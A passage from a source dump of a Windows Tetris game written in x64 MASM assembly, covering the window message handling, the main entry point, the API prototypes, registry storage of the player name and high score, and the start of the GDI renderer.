    jmp CmdDone

CmdClearRecord:
    mov DWORD PTR [g_game].GAME_STATE.highScore, 0
    lea rax, [g_game].GAME_STATE.highScoreName
    mov WORD PTR [rax], 0

    call ClearRegistry

    ; Restore PlayerName to registry after clearing
    mov rcx, g_hEditName
    lea rdx, [rsp+100h]
    mov r8d, 128
    call GetWindowTextW

    test eax, eax
    jz @@skip_save

    lea rcx, [rsp+100h]
    call SavePlayerName

@@skip_save:
    mov rcx, [rbp+10h]
    call SetFocus

    mov rcx, [rbp+10h]
    xor edx, edx
    xor r8d, r8d
    call InvalidateRect
    jmp CmdDone

CmdToggleGhost:
    mov al, [g_game].GAME_STATE.showGhost
    xor al, 1
    mov [g_game].GAME_STATE.showGhost, al

    test al, al
    jz @@set_off
    mov rcx, g_hButtonGhost
    lea rdx, szGhostOn
    call SetWindowTextA
    jmp @@ghost_redraw
@@set_off:
    mov rcx, g_hButtonGhost
    lea rdx, szGhostOff
    call SetWindowTextA
@@ghost_redraw:
    mov rcx, [rbp+10h]
    call SetFocus

    mov rcx, [rbp+10h]
    xor edx, edx
    xor r8d, r8d
    call InvalidateRect
    jmp CmdDone

CmdDone:
    xor eax, eax
    jmp ExitProc

HandleTimer:
    mov rax, [rbp+20h]              ; wParam = timer ID
    cmp rax, GAME_TIMER_ID
    je @@game_timer
    cmp rax, EDIT_TIMER_ID
    je @@edit_timer
    jmp @@timer_done

@@game_timer:
    lea rcx, g_game
    mov edx, GAME_TICK_MS
    call UpdateGame

    mov rcx, [rbp+10h]
    xor edx, edx
    xor r8d, r8d
    call InvalidateRect
    jmp @@timer_done

@@edit_timer:
    ; Save player name and remove focus from edit control
    mov rcx, g_hEditName
    lea rdx, [rsp+100h]
    mov r8d, 128
    call GetWindowTextW
    mov [rsp+0F8h], eax             ; Save text length

    ; Save to registry if not empty
    test eax, eax
    jz @@skip_save_timer

    lea rcx, [rsp+100h]
    call SavePlayerName

@@skip_save_timer:
    ; Remove focus from edit - set focus to main window
    mov rcx, [rbp+10h]              ; Main window handle
    call SetFocus

    ; Kill the timer
    mov rcx, [rbp+10h]              ; hwnd
    mov edx, EDIT_TIMER_ID
    call KillTimer

@@timer_done:
    xor eax, eax
    jmp ExitProc

HandleKeyDown:
    mov rax, [rbp+20h]
    
    cmp eax, VK_LEFT
    je DoLeft
    cmp eax, VK_RIGHT
    je DoRight
    cmp eax, VK_UP
    je DoRotate
    cmp eax, VK_DOWN
    je DoDown
    cmp eax, VK_SPACE
    je DoDrop
    cmp eax, VK_P
    je DoPause
    cmp eax, VK_F2
    je DoF2
    cmp eax, VK_ESCAPE
    je DoEscape
    jmp KeyDone

DoLeft:
    lea rcx, g_game
    call MoveLeft
    jmp KeyRedraw
DoRight:
    lea rcx, g_game
    call MoveRight
    jmp KeyRedraw
DoRotate:
    lea rcx, g_game
    call RotatePiece
    jmp KeyRedraw
DoDown:
    lea rcx, g_game
    mov edx, 1
    call MoveDown
    jmp KeyRedraw
DoDrop:
    lea rcx, g_game
    call DropPiece
    jmp KeyRedraw
DoPause:
    jmp CmdPauseResume
DoF2:
    lea rcx, g_game
    call StartGame
    
    mov rcx, g_hButtonStart
    lea rdx, szPauseGame
    call SetWindowTextA
    
    jmp KeyRedraw
DoEscape:
    xor ecx, ecx
    call PostQuitMessage
    jmp KeyDone

KeyRedraw:
    mov rcx, [rbp+10h]
    xor edx, edx
    xor r8d, r8d
    call InvalidateRect

KeyDone:
    xor eax, eax
    jmp ExitProc

HandleCtlColorEdit:
    ; WM_CTLCOLOREDIT: Set edit control background color
    ; wParam (R8/[rbp+20h]) = HDC, lParam (R9/[rbp+28h]) = HWND of edit control
    mov rax, [rbp+28h]              ; Get HWND from lParam
    cmp rax, g_hEditName
    jne @@default_color

    ; Check if edit control has text
    mov rcx, g_hEditName
    lea rdx, [rsp+200h]             ; Use different buffer to avoid conflicts
    mov r8d, 128
    call GetWindowTextW

    test eax, eax                   ; Returns length of text
    jz @@default_color              ; No text - use default color

    ; Set light green background for text input
    mov rcx, [rbp+20h]              ; HDC from wParam
    mov edx, 00E0FFE0h              ; Light green (BGR format)
    call SetBkColor

    mov rcx, [rbp+20h]
    mov edx, 1                      ; TRANSPARENT mode
    call SetBkMode

    ; Return global light green brush handle
    mov rax, g_hBrushGreen
    jmp ExitProc

@@default_color:
    ; Return default system color brush
    mov rcx, [rbp+10h]
    mov rdx, [rbp+18h]
    mov r8,  [rbp+20h]
    mov r9,  [rbp+28h]
    call DefWindowProcA
    jmp ExitProc

HandleDestroy:
    ; Clean up brush resource
    mov rcx, g_hBrushGreen
    test rcx, rcx
    jz @@skip_brush
    call DeleteObject
@@skip_brush:
    xor ecx, ecx
    call PostQuitMessage
    xor eax, eax
    jmp ExitProc

ExitProc:
    mov rsp, rbp
    pop rbp
    ret
WindowProc ENDP

; Application entry point - registers window class, creates main window, runs message loop
; Sets up dark mode title bar and Mica backdrop on Windows 11
WinMain PROC
    push r14
    push r15
    sub rsp, 0B8h

    mov DWORD PTR [rsp+60h], 80
    mov DWORD PTR [rsp+64h], CS_HREDRAW OR CS_VREDRAW
    lea rax, WindowProc
    mov QWORD PTR [rsp+68h], rax
    mov DWORD PTR [rsp+70h], 0
    mov DWORD PTR [rsp+74h], 0
    mov rax, g_hInstance
    mov QWORD PTR [rsp+78h], rax
    mov QWORD PTR [rsp+80h], 0
    
    xor ecx, ecx
    mov edx, IDC_ARROW
    call LoadCursorA
    mov QWORD PTR [rsp+88h], rax
    
    mov QWORD PTR [rsp+90h], COLOR_BTNFACE + 1
	
	lea rcx, szShell32
	call LoadLibraryA
	mov [rsp+0B0h], rax ; Save hShell

	mov rcx, g_hInstance
	lea rdx, szShell32
	mov r8d, 80
	call ExtractIconA
	mov QWORD PTR [rsp+80h], rax ; wc.hIcon
	mov QWORD PTR [rsp+0A8h], rax ; wc.hIconSm

	mov rcx, [rsp+0B0h]
	call FreeLibrary

    mov QWORD PTR [rsp+98h], 0
    lea rax, szClassName
    mov QWORD PTR [rsp+0A0h], rax
    mov QWORD PTR [rsp+0A8h], 0
    
    lea rcx, [rsp+60h]
    call RegisterClassExA

    mov DWORD PTR [rsp+20h], 0
    mov DWORD PTR [rsp+24h], 0
    mov DWORD PTR [rsp+28h], WINDOW_WIDTH
    mov DWORD PTR [rsp+2Ch], WINDOW_HEIGHT
    lea rcx, [rsp+20h]
    mov edx, WS_OVERLAPPEDWINDOW AND NOT WS_THICKFRAME AND NOT WS_MAXIMIZEBOX
    xor r8d, r8d
    call AdjustWindowRect

    mov eax, DWORD PTR [rsp+28h]
    sub eax, DWORD PTR [rsp+20h]
    mov r14d, eax

    mov eax, DWORD PTR [rsp+2Ch]
    sub eax, DWORD PTR [rsp+24h]
    mov r15d, eax

    xor ecx, ecx
    lea rdx, szClassName
    lea r8, szWindowTitle
    mov r9d, WS_OVERLAPPEDWINDOW AND NOT WS_THICKFRAME AND NOT WS_MAXIMIZEBOX OR WS_CLIPCHILDREN

    mov rax, CW_USEDEFAULT
    mov QWORD PTR [rsp+20h], rax
    mov QWORD PTR [rsp+28h], rax
    movsxd rax, r14d
    mov QWORD PTR [rsp+30h], rax
    movsxd rax, r15d
    mov QWORD PTR [rsp+38h], rax
    mov QWORD PTR [rsp+40h], 0
    mov QWORD PTR [rsp+48h], 0
    mov rax, g_hInstance
    mov QWORD PTR [rsp+50h], rax
    mov QWORD PTR [rsp+58h], 0
    
    call CreateWindowExA
    mov g_hWnd, rax
    
    test rax, rax
    jz @fail

    ; Enable Dark Mode for title bar
    mov rcx, g_hWnd
    mov edx, DWMWA_USE_IMMERSIVE_DARK_MODE
    lea r8, [rsp+58h]               ; Use stack for attribute value
    mov DWORD PTR [r8], 1           ; TRUE
    mov r9d, 4                      ; sizeof(DWORD)
    call DwmSetWindowAttribute

    ; Enable Mica backdrop effect (Windows 11)
    mov rcx, g_hWnd
    mov edx, DWMWA_SYSTEMBACKDROP_TYPE
    lea r8, [rsp+58h]
    mov DWORD PTR [r8], DWMSBT_MAINWINDOW
    mov r9d, 4
    call DwmSetWindowAttribute
    
    mov rcx, g_hWnd
    mov edx, SW_SHOWDEFAULT
    call ShowWindow
    
    mov rcx, g_hWnd
    call UpdateWindow
    
@msgloop:
    lea rcx, [rsp+60h]
    xor edx, edx
    xor r8d, r8d
    xor r9d, r9d
    call GetMessageA
    
    test eax, eax
    jle @exitLoop
    
    lea rcx, [rsp+60h]
    call TranslateMessage
    
    lea rcx, [rsp+60h]
    call DispatchMessageA
    jmp @msgloop

@exitLoop:
    mov eax, [rsp+60h+16]
    jmp @ret

@fail:
    mov eax, 1

@ret:
    add rsp, 0B8h
    pop r15
    pop r14
    ret
WinMain ENDP

; Entry point callable from C++ host application
; Returns: EAX = exit code from WinMain
TetrisMain PROC
    push rbp
    mov rbp, rsp
    and rsp, -16
    sub rsp, 20h

    xor ecx, ecx
    call GetModuleHandleA
    mov g_hInstance, rax

    mov rcx, rax
    xor edx, edx
    xor r8, r8
    mov r9d, SW_SHOWDEFAULT
    call WinMain

    mov rsp, rbp
    pop rbp
    ret
TetrisMain ENDP

END

<<<FILE: kvc/addons/proto.inc>>>
Created:  2026-02-27 12:50:26
Modified: 2026-01-24 19:45:48
Size:     2.72 KB
EXTERN GetModuleHandleA:PROC
EXTERN GetTickCount:PROC
EXTERN ExitProcess:PROC
EXTERN RegisterClassExA:PROC
EXTERN CreateWindowExA:PROC
EXTERN ShowWindow:PROC
EXTERN UpdateWindow:PROC
EXTERN GetMessageA:PROC
EXTERN TranslateMessage:PROC
EXTERN DispatchMessageA:PROC
EXTERN DefWindowProcA:PROC
EXTERN PostQuitMessage:PROC
EXTERN LoadCursorA:PROC
EXTERN LoadLibraryA:PROC
EXTERN ExtractIconA:PROC
EXTERN FreeLibrary:PROC
EXTERN BeginPaint:PROC
EXTERN EndPaint:PROC
EXTERN GetClientRect:PROC
EXTERN AdjustWindowRect:PROC
EXTERN InvalidateRect:PROC
EXTERN SetWindowTextA:PROC
EXTERN CreateFontA:PROC
EXTERN DeleteObject:PROC
EXTERN GetDC:PROC
EXTERN ReleaseDC:PROC
EXTERN CreateCompatibleDC:PROC
EXTERN CreateCompatibleBitmap:PROC
EXTERN SelectObject:PROC
EXTERN DeleteDC:PROC
EXTERN BitBlt:PROC
EXTERN CreateSolidBrush:PROC
EXTERN FillRect:PROC
EXTERN SetBkMode:PROC
EXTERN SendMessageA:PROC
EXTERN SetTextColor:PROC
EXTERN SetBkColor:PROC
EXTERN TextOutA:PROC
EXTERN CreatePen:PROC
EXTERN MoveToEx:PROC
EXTERN LineTo:PROC
EXTERN CreateHatchBrush:PROC
EXTERN lstrlenA:PROC
EXTERN wsprintfA:PROC
EXTERN WideCharToMultiByte:PROC
EXTERN GetWindowTextW:PROC
EXTERN SetWindowTextW:PROC
EXTERN RegCreateKeyExW:PROC
EXTERN RegOpenKeyExW:PROC
EXTERN RegQueryValueExW:PROC
EXTERN RegSetValueExW:PROC
EXTERN RegCloseKey:PROC
EXTERN RegDeleteKeyW:PROC
EXTERN SetTimer:PROC
EXTERN KillTimer:PROC
EXTERN SetFocus:PROC
EXTERN DwmSetWindowAttribute:PROC
EXTERN GradientFill:PROC

INCLUDELIB dwmapi.lib
INCLUDELIB msimg32.lib

InitGame PROTO pGame:QWORD, boardWidth:DWORD, boardHeight:DWORD
StartGame PROTO pGame:QWORD
GenerateRandomPiece PROTO pGame:QWORD, pPiece:QWORD
SpawnNewPiece PROTO pGame:QWORD
CheckCollision PROTO pGame:QWORD, pPiece:QWORD
LockPiece PROTO pGame:QWORD
ClearFullLines PROTO pGame:QWORD
ApplyClearLines PROTO pGame:QWORD
UpdateGame PROTO pGame:QWORD, deltaTimeMs:DWORD
MoveLeft PROTO pGame:QWORD
MoveRight PROTO pGame:QWORD
MoveDown PROTO pGame:QWORD, dy:DWORD
RotatePiece PROTO pGame:QWORD
DropPiece PROTO pGame:QWORD
PauseGame PROTO pGame:QWORD
ResumeGame PROTO pGame:QWORD
TogglePause PROTO pGame:QWORD
SetPlayerName PROTO pGame:QWORD, pName:QWORD

InitRenderer PROTO pRenderer:QWORD, hwnd:QWORD
CleanupRenderer PROTO pRenderer:QWORD
CreateBackBuffer PROTO pRenderer:QWORD
ResizeRenderer PROTO pRenderer:QWORD, wWidth:DWORD, wHeight:DWORD
RenderGame PROTO pRenderer:QWORD, pGame:QWORD, hdc:QWORD
DrawBoard PROTO pRenderer:QWORD, pGame:QWORD
DrawGhostPiece PROTO pRenderer:QWORD, pGame:QWORD
DrawPiece PROTO pRenderer:QWORD, pPiece:QWORD
DrawNextPiece PROTO pRenderer:QWORD, pPiece:QWORD
DrawInfo PROTO pRenderer:QWORD, pGame:QWORD

SavePlayerName PROTO pName:QWORD
LoadPlayerName PROTO pGame:QWORD
SaveHighScore PROTO pGame:QWORD
LoadHighScore PROTO pGame:QWORD
ClearRegistry PROTO

<<<FILE: kvc/addons/registry.asm>>>
Created:  2026-02-27 12:50:27
Modified: 2026-01-25 23:51:34
Size:     9.8 KB
INCLUDE data.inc
INCLUDE proto.inc

.CONST
ALIGN 16
; Registry paths and keys (Unicode wide strings)
; TRAP: Unicode strings must be null-terminated with WORD (2 bytes)
; Format: Each char is 2 bytes (L"text" equivalent in C)
szRegPath       DB 'S',0,'o',0,'f',0,'t',0,'w',0,'a',0,'r',0,'e',0,'\',0,'T',0,'e',0,'t',0,'r',0,'i',0,'s',0,0,0
szPlayerName    DB 'P',0,'l',0,'a',0,'y',0,'e',0,'r',0,'N',0,'a',0,'m',0,'e',0,0,0
szHighScore     DB 'H',0,'i',0,'g',0,'h',0,'S',0,'c',0,'o',0,'r',0,'e',0,0,0
szHighScoreName DB 'H',0,'i',0,'g',0,'h',0,'S',0,'c',0,'o',0,'r',0,'e',0,'N',0,'a',0,'m',0,'e',0,0,0

.CODE
ALIGN 16
; TRAP: PROLOGUE:NONE and EPILOGUE:NONE disable automatic stack frame generation
; This gives us full control over stack management for optimal code
OPTION PROLOGUE:NONE
OPTION EPILOGUE:NONE

; Calculate length of Unicode string (in characters, not bytes)
; TRAP x64: Arg is RCX (not stack), returns in EAX
; TRAP: Wide strings are 2 bytes per char, null terminator is WORD 0
StrLenW PROC
    xor eax, eax                     ; Length counter
    test rcx, rcx                    ; Check for NULL pointer
    jz @@done

@@loop:
    cmp WORD PTR [rcx + rax*2], 0    ; TRAP: Multiply by 2 for wide chars
    je @@done
    inc eax
    jmp @@loop

@@done:
    ret                              ; No epilogue - manual control
StrLenW ENDP

; Save player name to registry (HKCU\Software\kvc\Tetris\PlayerName)
; TRAP x64: Arg is RCX=pName (pointer to Unicode string)
; TRAP: RegCreateKeyExW takes 9 params - first 4 in regs, rest on stack
SavePlayerName PROC pName:QWORD
    push rsi
    sub rsp, 60h                     ; Shadow space + locals

    mov rsi, rcx                     ; Save pName pointer

    ; Create or open registry key
    ; TRAP: Win64 API params: RCX, RDX, R8, R9, [stack+20h], [stack+28h], ...
    mov ecx, 80000001h               ; HKEY_CURRENT_USER
    lea rdx, szRegPath               ; "Software\Tetris"
    xor r8d, r8d                     ; Reserved = 0
    xor r9d, r9d                     ; lpClass = NULL

    ; Stack parameters (beyond first 4)
    mov QWORD PTR [rsp+20h], 0       ; Reserved
    mov QWORD PTR [rsp+28h], 20006h  ; KEY_WRITE access
    mov QWORD PTR [rsp+30h], 0       ; lpSecurityAttributes = NULL
    lea rax, [rsp+50h]               ; hKey at [rsp+50h]
    mov QWORD PTR [rsp+38h], rax     ; phkResult = &hKey (local var)
    mov QWORD PTR [rsp+40h], 0       ; lpdwDisposition = NULL

    call RegCreateKeyExW
    test eax, eax                    ; Check return code (0 = success)
    jnz @@fail

    mov rcx, rsi
    call StrLenW
    inc eax
    shl eax, 1
    mov [rsp+58h], eax               ; size at [rsp+58h]

    mov rcx, [rsp+50h]               ; hKey from [rsp+50h]
    lea rdx, szPlayerName
    xor r8d, r8d
    mov r9d, 1
    mov [rsp+20h], rsi
    mov eax, [rsp+58h]               ; size from [rsp+58h]
    mov [rsp+28h], rax

    call RegSetValueExW
    mov [rsp+5Ch], eax               ; result at [rsp+5Ch]

    mov rcx, [rsp+50h]               ; hKey from [rsp+50h]
    call RegCloseKey

    mov eax, [rsp+5Ch]               ; result from [rsp+5Ch]
    test eax, eax
    jnz @@fail

    mov eax, 1
    jmp @@exit

@@fail:
    xor eax, eax

@@exit:
    add rsp, 60h
    pop rsi
    ret
SavePlayerName ENDP

; Load player name from registry into game state
; Returns: EAX = 1 if found, 0 if not found or error
; RCX = pGame
LoadPlayerName PROC pGame:QWORD
    push rsi
    push rdi
    sub rsp, 258h

    mov rsi, rcx

    mov ecx, 80000001h
    lea rdx, szRegPath
    xor r8d, r8d
    mov r9d, 20019h
    lea rax, [rsp+240h]
    mov [rsp+20h], rax

    call RegOpenKeyExW
    test eax, eax
    jnz @@not_found

    mov DWORD PTR [rsp+248h], 512

    mov rcx, [rsp+240h]
    lea rdx, szPlayerName
    xor r8d, r8d
    lea r9, [rsp+24Ch]
    lea rax, [rsp+40h]
    mov [rsp+20h], rax
    lea rax, [rsp+248h]
    mov [rsp+28h], rax

    call RegQueryValueExW
    mov [rsp+238h], eax

    mov rcx, [rsp+240h]
    call RegCloseKey

    mov eax, [rsp+238h]
    test eax, eax
    jnz @@not_found

    cmp DWORD PTR [rsp+24Ch], 1
    jne @@not_found

    lea rdi, [rsi].GAME_STATE.playerName
    lea rdx, [rsp+40h]
    
    xor ecx, ecx
@@copy_loop:
    mov ax, WORD PTR [rdx + rcx*2]
    mov WORD PTR [rdi + rcx*2], ax
    test ax, ax
    jz @@success
    inc ecx
    cmp ecx, 127
    jl @@copy_loop
    
@@success:
    mov WORD PTR [rdi + rcx*2], 0
    mov eax, 1
    jmp @@exit
    
@@not_found:
    lea rdi, [rsi].GAME_STATE.playerName
    mov WORD PTR [rdi], 0
    xor eax, eax
    
@@exit:
    add rsp, 258h
    pop rdi
    pop rsi
    ret
LoadPlayerName ENDP

; Save current score as high score to registry with player name
; Copies playerName to highScoreName (or "Anonymous" if empty)
; Returns: EAX = 1 on success, 0 on failure
; RCX = pGame
SaveHighScore PROC pGame:QWORD
    push rsi
    push rdi
    push rbx
    sub rsp, 60h                     ; Shadow space + locals

    mov rsi, rcx

    mov ecx, 80000001h
    lea rdx, szRegPath
    xor r8d, r8d
    xor r9d, r9d
    mov QWORD PTR [rsp+20h], 0
    mov QWORD PTR [rsp+28h], 20006h
    mov QWORD PTR [rsp+30h], 0
    lea rax, [rsp+50h]               ; hKey at [rsp+50h]
    mov QWORD PTR [rsp+38h], rax
    mov QWORD PTR [rsp+40h], 0

    call RegCreateKeyExW
    test eax, eax
    jnz @@fail

    mov eax, [rsi].GAME_STATE.score
    mov [rsp+58h], eax               ; score at [rsp+58h]

    mov rcx, [rsp+50h]               ; hKey from [rsp+50h]
    lea rdx, szHighScore
    xor r8d, r8d
    mov r9d, 4
    lea rax, [rsp+58h]               ; score address at [rsp+58h]
    mov [rsp+20h], rax
    mov QWORD PTR [rsp+28h], 4

    call RegSetValueExW
    test eax, eax
    jnz @@close_fail

    lea rax, [rsi].GAME_STATE.playerName
    cmp WORD PTR [rax], 0
    jne @@use_player

    lea rdi, [rsi].GAME_STATE.highScoreName
    mov WORD PTR [rdi+0], 'A'
    mov WORD PTR [rdi+2], 'n'
    mov WORD PTR [rdi+4], 'o'
    mov WORD PTR [rdi+6], 'n'
    mov WORD PTR [rdi+8], 'y'
    mov WORD PTR [rdi+10], 'm'
    mov WORD PTR [rdi+12], 'o'
    mov WORD PTR [rdi+14], 'u'
    mov WORD PTR [rdi+16], 's'
    mov WORD PTR [rdi+18], 0
    jmp @@save_name

@@use_player:
    lea rdx, [rsi].GAME_STATE.playerName
    lea rdi, [rsi].GAME_STATE.highScoreName
    xor ecx, ecx
@@copy_name:
    mov ax, WORD PTR [rdx + rcx*2]
    mov WORD PTR [rdi + rcx*2], ax
    test ax, ax
    jz @@done_copy
    inc ecx
    cmp ecx, 127
    jl @@copy_name
@@done_copy:
    mov WORD PTR [rdi + rcx*2], 0

@@save_name:
    mov eax, [rsi].GAME_STATE.score
    mov [rsi].GAME_STATE.highScore, eax

    lea rcx, [rsi].GAME_STATE.highScoreName
    call StrLenW
    inc eax
    shl eax, 1
    mov rbx, rax

    mov rcx, [rsp+50h]               ; hKey from [rsp+50h]
    lea rdx, szHighScoreName
    xor r8d, r8d
    mov r9d, 1
    lea rax, [rsi].GAME_STATE.highScoreName
    mov [rsp+20h], rax
    mov [rsp+28h], rbx

    call RegSetValueExW

@@close_fail:
    mov [rsp+5Ch], eax               ; result at [rsp+5Ch]
    mov rcx, [rsp+50h]               ; hKey from [rsp+50h]
    call RegCloseKey
    mov eax, [rsp+5Ch]               ; result from [rsp+5Ch]

    test eax, eax
    jnz @@fail

    mov eax, 1
    jmp @@exit

@@fail:
    xor eax, eax

@@exit:
    add rsp, 60h
    pop rbx
    pop rdi
    pop rsi
    ret
SaveHighScore ENDP

; Load high score and associated name from registry into game state
; Initializes to 0 and empty name if registry key not found
; Returns: EAX = 1 if found, 0 if not found
; RCX = pGame
LoadHighScore PROC pGame:QWORD
    push rsi
    push rdi
    sub rsp, 258h

    mov rsi, rcx

    mov ecx, 80000001h
    lea rdx, szRegPath
    xor r8d, r8d
    mov r9d, 20019h
    lea rax, [rsp+240h]
    mov [rsp+20h], rax

    call RegOpenKeyExW
    test eax, eax
    jnz @@fail_default

    mov DWORD PTR [rsp+248h], 4
    mov rcx, [rsp+240h]
    lea rdx, szHighScore
    xor r8d, r8d
    lea r9, [rsp+24Ch]
    lea rax, [rsp+238h]
    mov [rsp+20h], rax
    lea rax, [rsp+248h]
    mov [rsp+28h], rax

    call RegQueryValueExW
    test eax, eax
    jnz @@read_name

    cmp DWORD PTR [rsp+24Ch], 4
    jne @@read_name

    mov eax, [rsp+238h]
    mov [rsi].GAME_STATE.highScore, eax

@@read_name:
    mov DWORD PTR [rsp+248h], 512
    mov rcx, [rsp+240h]
    lea rdx, szHighScoreName
    xor r8d, r8d
    lea r9, [rsp+24Ch]
    lea rax, [rsp+40h]
    mov [rsp+20h], rax
    lea rax, [rsp+248h]
    mov [rsp+28h], rax

    call RegQueryValueExW
    test eax, eax
    jnz @@cleanup

    cmp DWORD PTR [rsp+24Ch], 1
    jne @@cleanup

    lea rdi, [rsi].GAME_STATE.highScoreName
    lea rdx, [rsp+40h]
    xor ecx, ecx
@@copy_loop:
    mov ax, WORD PTR [rdx + rcx*2]
    mov WORD PTR [rdi + rcx*2], ax
    test ax, ax
    jz @@cleanup
    inc ecx
    cmp ecx, 127
    jl @@copy_loop
    mov WORD PTR [rdi + rcx*2], 0
    
@@cleanup:
    mov rcx, [rsp+240h]
    call RegCloseKey
    mov eax, 1
    jmp @@exit

@@fail_default:
    mov DWORD PTR [rsi].GAME_STATE.highScore, 0
    mov WORD PTR [rsi].GAME_STATE.highScoreName, 0
    xor eax, eax

@@exit:
    add rsp, 258h
    pop rdi
    pop rsi
    ret
LoadHighScore ENDP

; Delete entire registry key (clears all saved data)
; TRAP: No parameters - uses RCX, RDX for Win64 API
; TRAP: Shadow space required even with no local vars
ClearRegistry PROC
    sub rsp, 28h                     ; Shadow space (minimum 20h + alignment)

    ; Delete registry key (all values are deleted with key)
    mov ecx, 80000001h               ; HKEY_CURRENT_USER
    lea rdx, szRegPath               ; "Software\Tetris"
    call RegDeleteKeyW

    ; Check result
    test eax, eax
    jz @@ok                          ; ERROR_SUCCESS (0)
    cmp eax, 2                       ; ERROR_FILE_NOT_FOUND
    je @@ok                          ; Key doesn't exist - treat as success
    xor eax, eax                     ; Other error - return 0
    jmp @@exit

@@ok:
    mov eax, 1                       ; Return 1 (success)

@@exit:
    add rsp, 28h
    ret
ClearRegistry ENDP

END

<<<FILE: kvc/addons/render.asm>>>
Created:  2026-02-27 12:50:27
Modified: 2026-01-25 19:32:22
Size:     34 KB
INCLUDE data.inc
INCLUDE proto.inc

.CONST
; Rendering layout constants
BLOCK_SIZE equ 25                    ; Pixel size of each tetromino block
BOARD_X equ 20                       ; Board top-left X position
BOARD_Y equ 20                       ; Board top-left Y position
INFO_X equ 300                       ; Info panel X position
INFO_Y equ 50                        ; Info panel Y position
GAME_AREA_HEIGHT equ 520             ; Separation line between game and controls

.DATA
ALIGN 16
; String constants for UI rendering
szSegoeUI db "Segoe UI", 0
szScore db "Score: %d", 0
szLines db "Lines: %d", 0
szLevel db "Level: %d", 0
szRecord db "Record: %d", 0
szNext db "Next:", 0
szAuthor db "Author:", 0
szName db "Marek Wesolowski", 0
szEmail db "marek@wesolowski.eu.org", 0
szWebsite db "https://kvc.pl", 0
szControls db "Controls:", 0
szCtrlF2 db "F2 - New Game", 0
szCtrlP db "P - Pause/Resume", 0
szCtrlArrows db "Arrows - Move/Rotate", 0
szCtrlSpace db "Space - Hard Drop", 0
szCtrlEsc db "ESC - Exit", 0
szPaused db "PAUSED", 0
szGameOver db "GAME OVER!", 0

ALIGN 16
; Color palette (BGR format for Windows GDI)
; TRAP: Windows GDI uses BGR order, not RGB! (00BBGGRR)
colorTable dd 00000000h              ; 0: Empty cell (black)
    dd 00FFFF00h                     ; 1: Cyan (I-piece)
    dd 0000FFFFh                     ; 2: Yellow (O-piece)
    dd 000000FFh                     ; 3: Red (Z-piece)
    dd 0000FF00h                     ; 4: Green (S-piece)
    dd 00800080h                     ; 5: Purple (T-piece)
    dd 000080FFh                     ; 6: Orange (L-piece)
    dd 00FF8000h                     ; 7: Blue (J-piece)

.CODE
ALIGN 16

; Initialize renderer state and create GDI resources
; TRAP x64: Args are RCX=pRenderer, RDX=hwnd (not stack!)
; TRAP: CreateFontA takes 14 params - use stack for params 5-14
InitRenderer PROC pRenderer:QWORD, hwnd:QWORD
    push rbp
    mov rbp, rsp
    and rsp, -16                     ; TRAP: 16-byte stack alignment before call
    sub rsp, 0A0h                    ; Large shadow space for CreateFont calls

    ; Save non-volatile registers (x64 calling convention)
    mov [rsp+80h], rsi
    mov [rsp+88h], rbx

    mov rsi, rcx                     ; RSI = pRenderer
    mov [rsi].RENDERER_STATE.hwnd, rdx
    mov QWORD PTR [rsi].RENDERER_STATE.hdcMem, 0
    mov QWORD PTR [rsi].RENDERER_STATE.hbmMem, 0
    mov QWORD PTR [rsi].RENDERER_STATE.hbmOld, 0
    mov DWORD PTR [rsi].RENDERER_STATE.wWidth, 0
    mov DWORD PTR [rsi].RENDERER_STATE.wHeight, 0
    mov DWORD PTR [rsi].RENDERER_STATE.pausePulse, 0

    ; Create normal font (20pt, bold) for game stats
    ; TRAP: CreateFontA parameters: height, width, escapement, orientation,
    ;       weight, italic, underline, strikeout, charset, outprecision,
    ;       clipprecision, quality, pitchandfamily, facename
    mov ecx, 20                      ; nHeight
    xor edx, edx                     ; nWidth = 0 (auto)
    xor r8d, r8d                     ; nEscapement = 0
    xor r9d, r9d                     ; nOrientation = 0
    mov DWORD PTR [rsp+20h], 700     ; fnWeight = FW_BOLD
    mov DWORD PTR [rsp+28h], 0       ; fdwItalic = FALSE
    mov DWORD PTR [rsp+30h], 0       ; fdwUnderline = FALSE
    mov DWORD PTR [rsp+38h], 0       ; fdwStrikeOut = FALSE
    mov DWORD PTR [rsp+40h], 0       ; fdwCharSet = DEFAULT_CHARSET
    mov DWORD PTR [rsp+48h], 0       ; fdwOutputPrecision
    mov DWORD PTR [rsp+50h], 0       ; fdwClipPrecision
    mov DWORD PTR [rsp+58h], 0       ; fdwQuality
    mov DWORD PTR [rsp+60h], 0       ; fdwPitchAndFamily
    lea rax, szSegoeUI
    mov QWORD PTR [rsp+68h], rax     ; lpszFace = "SegoeUI"
    call CreateFontA
    mov [rsi].RENDERER_STATE.hFontNormal, rax
    
    mov ecx, 14
    xor edx, edx
    xor r8d, r8d
    xor r9d, r9d
    mov DWORD PTR [rsp+20h], 400
    mov DWORD PTR [rsp+28h], 0
    mov DWORD PTR [rsp+30h], 0
    mov DWORD PTR [rsp+38h], 0
    mov DWORD PTR [rsp+40h], 0
    mov DWORD PTR [rsp+48h], 0
    mov DWORD PTR [rsp+50h], 0
    mov DWORD PTR [rsp+58h], 0
    mov DWORD PTR [rsp+60h], 0
    lea rax, szSegoeUI
    mov QWORD PTR [rsp+68h], rax
    call CreateFontA
    mov [rsi].RENDERER_STATE.hFontSmall, rax
    
    mov ecx, 26
    xor edx, edx
    xor r8d, r8d
    xor r9d, r9d
    mov DWORD PTR [rsp+20h], 700
    mov DWORD PTR [rsp+28h], 0
    mov DWORD PTR [rsp+30h], 0
    mov DWORD PTR [rsp+38h], 0
    mov DWORD PTR [rsp+40h], 0
    mov DWORD PTR [rsp+48h], 0
    mov DWORD PTR [rsp+50h], 0
    mov DWORD PTR [rsp+58h], 0
    mov DWORD PTR [rsp+60h], 0
    lea rax, szSegoeUI
    mov QWORD PTR [rsp+68h], rax
    call CreateFontA
    mov [rsi].RENDERER_STATE.hFontPause, rax
    
    mov ecx, 30
    xor edx, edx
    xor r8d, r8d
    xor r9d, r9d
    mov DWORD PTR [rsp+20h], 700
    mov DWORD PTR [rsp+28h], 0
    mov DWORD PTR [rsp+30h], 0
    mov DWORD PTR [rsp+38h], 0
    mov DWORD PTR [rsp+40h], 0
    mov DWORD PTR [rsp+48h], 0
    mov DWORD PTR [rsp+50h], 0
    mov DWORD PTR [rsp+58h], 0
    mov DWORD PTR [rsp+60h], 0
    lea rax, szSegoeUI
    mov QWORD PTR [rsp+68h], rax
    call CreateFontA
    mov [rsi].RENDERER_STATE.hFontGameOver, rax
    
    ; Create brushes for all 8 colors (0-7)
    ; TRAP: R8 is volatile, must save before function calls
    xor r8d, r8d
@@create_brushes:
    mov [rsp+90h], r8                ; Save loop counter

    ; Get color from colorTable
